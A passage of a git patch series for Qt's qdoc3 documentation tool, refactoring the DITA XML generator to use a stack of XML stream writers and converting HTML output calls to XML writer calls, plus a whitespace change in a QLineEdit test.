    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -4899,20 +4717,20 @@ void DitaXmlGenerator::writeProperties(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Property) { const PropertyNode* pn = static_cast(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",pn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(pn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",pn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(pn->name()); + xmlWriter().writeEndElement(); // generateBrief(pn,marker); // not included: - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",pn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",pn->accessString()); + xmlWriter().writeEndElement(); // // not included: , // , @@ -4920,84 +4738,84 @@ void DitaXmlGenerator::writeProperties(const Section& s, // , if (!pn->qualifiedDataType().isEmpty()) { - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + xmlWriter().writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeEndElement(); // } QString fq = fullQualification(pn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters("Q_PROPERTY("); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeCharacters(" "); - writer.writeCharacters(pn->name()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + xmlWriter().writeCharacters("Q_PROPERTY("); + xmlWriter().writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(pn->name()); writePropertyParameter("READ",pn->getters()); writePropertyParameter("WRITE",pn->setters()); writePropertyParameter("RESET",pn->resetters()); writePropertyParameter("NOTIFY",pn->notifiers()); if (pn->isDesignable() != pn->designableDefault()) { - writer.writeCharacters(" DESIGNABLE "); + xmlWriter().writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeDesignabilityFunction()); + xmlWriter().writeCharacters(pn->runtimeDesignabilityFunction()); else - writer.writeCharacters(pn->isDesignable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false"); } if (pn->isScriptable() != pn->scriptableDefault()) { - writer.writeCharacters(" SCRIPTABLE "); + xmlWriter().writeCharacters(" SCRIPTABLE "); if (!pn->runtimeScriptabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeScriptabilityFunction()); + xmlWriter().writeCharacters(pn->runtimeScriptabilityFunction()); else - writer.writeCharacters(pn->isScriptable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false"); } if (pn->isWritable() != pn->writableDefault()) { - writer.writeCharacters(" STORED "); - writer.writeCharacters(pn->isStored() ? "true" : "false"); + xmlWriter().writeCharacters(" STORED "); + xmlWriter().writeCharacters(pn->isStored() ? "true" : "false"); } if (pn->isUser() != pn->userDefault()) { - writer.writeCharacters(" USER "); - writer.writeCharacters(pn->isUser() ? "true" : "false"); + xmlWriter().writeCharacters(" USER "); + xmlWriter().writeCharacters(pn->isUser() ? "true" : "false"); } if (pn->isConstant()) - writer.writeCharacters(" CONSTANT"); + xmlWriter().writeCharacters(" CONSTANT"); if (pn->isFinal()) - writer.writeCharacters(" FINAL"); - writer.writeCharacters(")"); - writer.writeEndElement(); // + xmlWriter().writeCharacters(" FINAL"); + xmlWriter().writeCharacters(")"); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(pn->parent()->name() + "::" + pn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + xmlWriter().writeCharacters(pn->parent()->name() + "::" + pn->name()); + xmlWriter().writeEndElement(); // if (pn->overriddenFrom() != 0) { PropertyNode* opn = (PropertyNode*)pn->overriddenFrom(); - writer.writeStartElement(CXXVARIABLEREIMPLEMENTED); - writer.writeAttribute("href",opn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(opn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED); + xmlWriter().writeAttribute("href",opn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(opn)); + xmlWriter().writeEndElement(); // } writeLocation(pn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!pn->doc().isEmpty()) { generateBody(pn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -5014,77 +4832,77 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Variable) { const VariableNode* vn = static_cast(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",vn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(vn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",vn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(vn->name()); + xmlWriter().writeEndElement(); // generateBrief(vn,marker); // not included: - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",vn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",vn->accessString()); + xmlWriter().writeEndElement(); // // not included: if (vn->isStatic()) { - writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); - writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // } // not included: , // , - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(vn->leftType()); + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + xmlWriter().writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // + xmlWriter().writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(vn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters(vn->leftType() + " "); - //writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeCharacters(vn->name()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + xmlWriter().writeCharacters(vn->leftType() + " "); + //xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + xmlWriter().writeCharacters(vn->name()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // + xmlWriter().writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + xmlWriter().writeEndElement(); // // not included: writeLocation(vn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!vn->doc().isEmpty()) { generateBody(vn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -5102,88 +4920,88 @@ void DitaXmlGenerator::writeMacros(const Section& s, if ((*m)->type() == Node::Function) { const FunctionNode* fn = static_cast(*m); if (fn->isMacro()) { - writer.writeStartElement(CXXDEFINE); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINE); + xmlWriter().writeAttribute("id",fn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // generateBrief(fn,marker); // not included: - writer.writeStartElement(CXXDEFINEDETAIL); - writer.writeStartElement(CXXDEFINEDEFINITION); - writer.writeStartElement(CXXDEFINEACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEDETAIL); + xmlWriter().writeStartElement(CXXDEFINEDEFINITION); + xmlWriter().writeStartElement(CXXDEFINEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXDEFINEPROTOTYPE); - writer.writeCharacters("#define "); - writer.writeCharacters(fn->name()); + xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE); + xmlWriter().writeCharacters("#define "); + xmlWriter().writeCharacters(fn->name()); if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeCharacters("("); + xmlWriter().writeCharacters("("); for (int i = 0; i < params.size(); ++i) { if (params[i].isEmpty()) - writer.writeCharacters("..."); + xmlWriter().writeCharacters("..."); else - writer.writeCharacters(params[i]); + xmlWriter().writeCharacters(params[i]); if ((i+1) < params.size()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(")"); + xmlWriter().writeCharacters(")"); } } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXDEFINENAMELOOKUP); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // if (fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXDEFINEREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // } if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeStartElement(CXXDEFINEPARAMETERS); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERS); for (int i = 0; i < params.size(); ++i) { - writer.writeStartElement(CXXDEFINEPARAMETER); - writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); - writer.writeCharacters(params[i]); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEPARAMETER); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); + xmlWriter().writeCharacters(params[i]); + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } writeLocation(fn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!fn->doc().isEmpty()) { generateBody(fn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } ++m; @@ -5199,14 +5017,51 @@ void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList { NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { - writer.writeCharacters(" "); - writer.writeCharacters(tag); - writer.writeCharacters(" "); - writer.writeCharacters((*n)->name()); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(tag); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters((*n)->name()); ++n; } } +/*! + Calls beginSubPage() in the base class to open the file. + Then creates a new XML stream writer using the IO device + from opened file and pushes the XML writer onto a stackj. + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). Finally, it sets some + parameters in the XML writer and calls writeStartDocument(). + */ +void DitaXmlGenerator::beginSubPage(const Location& location, + const QString& fileName) +{ + PageGenerator::beginSubPage(location,fileName); + QXmlStreamWriter* writer = new QXmlStreamWriter(out().device()); + xmlWriterStack.push(writer); + writer->setAutoFormatting(true); + writer->setAutoFormattingIndent(4); + writer->writeStartDocument(); +} + +/*! + Calls writeEndDocument() and then pops the XML stream writer + off the stack and deletes it. Then it calls endSubPage() in + the base class to close the device. + */ +void DitaXmlGenerator::endSubPage() +{ + xmlWriter().writeEndDocument(); + delete xmlWriterStack.pop(); + PageGenerator::endSubPage(); +} + +QXmlStreamWriter& DitaXmlGenerator::xmlWriter() +{ + return *xmlWriterStack.top(); +} + QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC @@ -5305,27 +5160,19 @@ QT_END_NAMESPACE out() << "

    " << protectEnc(name) << "

    \n"; generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); } - - if (!s->inherited.isEmpty()) { - out() << "
      \n"; - generateSectionInheritedList(*s, inner, marker, true); - out() << "
    \n"; - } + generateSectionInheritedList(*s, inner, marker, true); } ++s; } if (needOtherSection) { - out() << "

    Additional Inherited Members

    \n" - "
      \n"; - + out() << "

      Additional Inherited Members

      \n"; s = sections.begin(); while (s != sections.end()) { - if (s->members.isEmpty() && !s->inherited.isEmpty()) + if (s->members.isEmpty()) generateSectionInheritedList(*s, inner, marker); ++s; } - out() << "
    \n"; } out() << "\n"; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index dad1c6f..bd78e93 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,7 +150,7 @@ class DitaXmlGenerator : public PageGenerator void generateBreadCrumbs(const QString& title, const Node* node, CodeMarker* marker); - void generateHeader(const Node* node); + void generateHeader(const Node* node, const QString& name); void generateTitle(const QString& title, const Text& subTitle, SubTitleSize subTitleSize, @@ -184,10 +184,7 @@ class DitaXmlGenerator : public PageGenerator void generateFunctionIndex(const Node* relative, CodeMarker* marker); void generateLegaleseList(const Node* relative, CodeMarker* marker); void generateOverviewList(const Node* relative, CodeMarker* marker); - void generateSectionList(const Section& section, - const Node* relative, - CodeMarker* marker, - CodeMarker::SynopsisStyle style); + #ifdef QDOC_QML void generateQmlSummary(const Section& section, const Node* relative, @@ -215,8 +212,7 @@ class DitaXmlGenerator : public PageGenerator CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, const Node* relative, - CodeMarker* marker, - bool nameAlignment = false); + CodeMarker* marker); void writeText(const QString& markedCode, CodeMarker* marker, const Node* relative, @@ -262,16 +258,11 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker); void endLink(); - bool generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageElements(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; QString writeGuidAttribute(QString text); QString lookupGuid(QString text); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + QXmlStreamWriter& xmlWriter(); private: QMap refMap; @@ -324,7 +315,8 @@ class DitaXmlGenerator : public PageGenerator NewClassMaps newClassMaps; NewClassMaps newQmlClassMaps; static int id; - QXmlStreamWriter writer; + + QStack xmlWriterStack; }; #define DITAXMLGENERATOR_ADDRESS "address" diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h index 1aa24a1..0fea67a 100644 --- a/tools/qdoc3/pagegenerator.h +++ b/tools/qdoc3/pagegenerator.h @@ -48,14 +48,12 @@ #include #include - #include "generator.h" #include "location.h" QT_BEGIN_NAMESPACE class QTextCodec; - class ClassNode; class InnerNode; class NamespaceNode; @@ -66,16 +64,16 @@ class PageGenerator : public Generator PageGenerator(); ~PageGenerator(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree* tree, CodeMarker* marker); protected: - virtual QString fileBase(const Node *node) const; - virtual QString fileExtension(const Node *node) const = 0; - QString fileName(const Node *node) const; + virtual QString fileBase(const Node* node) const; + virtual QString fileExtension(const Node* node) const = 0; + QString fileName(const Node* node) const; QString outFileName(); - void beginSubPage(const Location& location, const QString& fileName); - void endSubPage(); - virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); QTextStream& out(); QString naturalLanguage; @@ -89,7 +87,7 @@ class PageGenerator : public Generator QStringRef* par1 = 0, bool debug = false); - private: + protected: QStack outStreamStack; }; -- cgit v0.12 From ecc772100760cd4afafa424b6bf19fb95f8fa82b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 14 Sep 2010 14:30:11 +0200 Subject: qdoc: Converted some more html output to xml output. --- tests/auto/qlineedit/tst_qlineedit.cpp | 18 +- tools/qdoc3/ditaxmlgenerator.cpp | 348 ++++++++++++++++++++------------- 2 files changed, 217 insertions(+), 149 deletions(-) diff --git a/tests/auto/qlineedit/tst_qlineedit.cpp b/tests/auto/qlineedit/tst_qlineedit.cpp index bfa9406..93bd447 100644 --- a/tests/auto/qlineedit/tst_qlineedit.cpp +++ b/tests/auto/qlineedit/tst_qlineedit.cpp @@ -3747,15 +3747,15 @@ void tst_QLineEdit::QTBUG697_paletteCurrentColorGroup() void tst_QLineEdit::QTBUG13520_textNotVisible() { LineEdit le; - le.setAlignment( Qt::AlignRight | Qt::AlignVCenter); - le.show(); - QTest::qWaitForWindowShown(&le); - le.setText("01-ST16-01SIL-MPL001wfgsdfgsdgsdfgsdfgsdfgsdfgsdfg"); - le.setCursorPosition(0); - QTest::qWait(100); //just make sure we get he lineedit correcly painted - - QVERIFY(le.cursorRect().center().x() < le.width() / 2); - + le.setAlignment( Qt::AlignRight | Qt::AlignVCenter); + le.show(); + QTest::qWaitForWindowShown(&le); + le.setText("01-ST16-01SIL-MPL001wfgsdfgsdgsdfgsdfgsdfgsdfgsdfg"); + le.setCursorPosition(0); + QTest::qWait(100); //just make sure we get he lineedit correcly painted + + QVERIFY(le.cursorRect().center().x() < le.width() / 2); + } diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index f572cc7..24f3e77 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -371,7 +371,9 @@ static void addLink(const QString &linkTarget, } } - +/*! + The default constructor. + */ DitaXmlGenerator::DitaXmlGenerator() : inLink(false), inContents(false), @@ -390,11 +392,17 @@ DitaXmlGenerator::DitaXmlGenerator() { } +/*! + The destructor has nothing to do. + */ DitaXmlGenerator::~DitaXmlGenerator() { // nothing yet. } +/*! + A lot of internal structures are initialized. + */ void DitaXmlGenerator::initializeGenerator(const Config &config) { static const struct { @@ -491,11 +499,17 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) } +/*! + All this does is call the same function in the base class. + */ void DitaXmlGenerator::terminateGenerator() { Generator::terminateGenerator(); } +/*! + Returns "DITAXML". + */ QString DitaXmlGenerator::format() { return "DITAXML"; @@ -587,7 +601,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::AutoLink: if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) { - const Node *node = 0; + const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { beginLink(link, node, relative, marker); @@ -1528,15 +1542,12 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) { - qDebug() << "WXLI 1" << link; xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - qDebug() << "WXLI 2"; xmlWriter().writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // - qDebug() << "WXLI 3"; } /*! @@ -1622,7 +1633,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } -#if 0 +#if 0 +zzz /* Generate the TOC for the new doc format. Don't generate a TOC for the home page. @@ -1677,7 +1689,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } #endif -#if 0 +#if 0 +zzz sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1713,7 +1726,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker #endif /*! - Returns "xml" for this subclass of Generator. + Returns "xml" for this subclass of class Generator. */ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const { @@ -1721,6 +1734,7 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const } /*! + zzz Output breadcrumb list in the html file. */ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, @@ -1809,10 +1823,8 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, } /*! - Outputs an XML file header depending on which kind of DITA + Outputs an XML file header depending on which kind of DITA XML file is being generated. - - \note This does not cover all cases yet. */ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) { @@ -1887,11 +1899,18 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) xmlWriter().writeEndElement(); // } +/*! + Writes a \a title as a

    element with an \c {outputclass} + attribute of "h1 title". + + Also generates and writes a \a subTitle as a

    element, + if one is provided, but this probably doesn't work right. + */ void DitaXmlGenerator::generateTitle(const QString& title, - const Text &subTitle, + const Text& subTitle, SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker) + const Node* relative, + CodeMarker* marker) { if (!title.isEmpty()) { xmlWriter().writeStartElement("p"); @@ -1913,7 +1932,7 @@ void DitaXmlGenerator::generateTitle(const QString& title, } /*! - Outputs the brief command as a element. + Outputs the \e brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { @@ -1927,10 +1946,14 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) } } -void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) +/*! + Writes the \c {#include ...} required to include the class + or namespace in a compilation. + */ +void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker) { if (!inner->includes().isEmpty()) { - xmlWriter().writeStartElement("pree"); + xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); xmlWriter().writeEndElement(); // @@ -1938,13 +1961,15 @@ void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *mark } /*! + zzz Generates a table of contents begining at \a node. + Currently just returns without writing anything. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + Doc::SectioningUnit sectioningUnit, + int numColumns, + const Node* relative) { return; @@ -2023,12 +2048,13 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, } /*! + zzz Revised for the new doc format. Generates a table of contents begining at \a node. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - QList

    * sections) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + QList
    * sections) { QList toc; if (node->doc().hasTableOfContents()) @@ -2155,9 +2181,11 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, generateHeader(inner, title); xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); - out() << "

    This is the complete list of members for "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("This is the complete list of members for "); generateFullName(inner, 0, marker); - out() << ", including inherited members.

    \n"; + xmlWriter().writeCharacters(", including inherited members."); + xmlWriter().writeEndElement(); //

    Section section = sections.first(); generateSection(section.members, 0, marker, CodeMarker::SeparateList); @@ -2200,16 +2228,16 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, if (status == CodeMarker::Compat) { xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("

    The following class members are part of the " - "Qt 3 support layer." - " They are provided to help you port old code to Qt 4. " - "We advise against using them in new code."); + "Qt 3 support layer." + " They are provided to help you port old code to Qt 4. " + "We advise against using them in new code."); xmlWriter().writeEndElement(); //

    } else { xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("The following class members are obsolete. " - "They are provided to keep old source code working. " - "We strongly advise against using them in new code."); + "They are provided to keep old source code working. " + "We strongly advise against using them in new code."); xmlWriter().writeEndElement(); //

    } xmlWriter().writeStartElement("p"); @@ -2252,9 +2280,12 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, return fileName; } -void DitaXmlGenerator::generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const QMap &classMap) +/*! + Write the XML for the class hierarchy to the current XML stream. + */ +void DitaXmlGenerator::generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const QMap& classMap) { if (classMap.isEmpty()) return; @@ -2262,7 +2293,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, NodeMap topLevel; NodeMap::ConstIterator c = classMap.begin(); while (c != classMap.end()) { - const ClassNode *classe = static_cast(*c); + const ClassNode* classe = static_cast(*c); if (classe->baseClasses().isEmpty()) topLevel.insert(classe->name(), classe); ++c; @@ -2271,18 +2302,18 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, QStack stack; stack.push(topLevel); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); while (!stack.isEmpty()) { if (stack.top().isEmpty()) { stack.pop(); - out() << "
    \n"; + xmlWriter().writeEndElement(); // } else { const ClassNode *child = static_cast(*stack.top().begin()); - out() << "
  • "; + xmlWriter().writeStartElement("li"); generateFullName(child, relative, marker); - out() << "
  • \n"; + xmlWriter().writeEndElement(); // stack.top().erase(stack.top().begin()); NodeMap newTop; @@ -2292,12 +2323,16 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, } if (!newTop.isEmpty()) { stack.push(newTop); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); } } } } +/*! + Write XML for the contents of the \a nodeMap to the current + XML stream. + */ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) @@ -2578,6 +2613,9 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, xmlWriter().writeEndElement(); //

      } +/*! + Write XML for a function index to the current XML stream. + */ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { @@ -2624,22 +2662,25 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, xmlWriter().writeEndElement(); //
    } -void DitaXmlGenerator::generateLegaleseList(const Node *relative, - CodeMarker *marker) +/*! + Write the legalese texts as XML to the current XML stream. + */ +void DitaXmlGenerator::generateLegaleseList(const Node* relative, + CodeMarker* marker) { - QMap::ConstIterator it = legaleseTexts.begin(); + QMap::ConstIterator it = legaleseTexts.begin(); while (it != legaleseTexts.end()) { Text text = it.key(); - out() << "
    \n"; + //out() << "
    \n"; generateText(text, relative, marker); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); do { - out() << "
    • "; + xmlWriter().writeStartElement("li"); generateFullName(it.value(), relative, marker); - out() << "
    • \n"; + xmlWriter().writeEndElement(); // ++it; } while (it != legaleseTexts.end() && it.key() == text); - out() << "
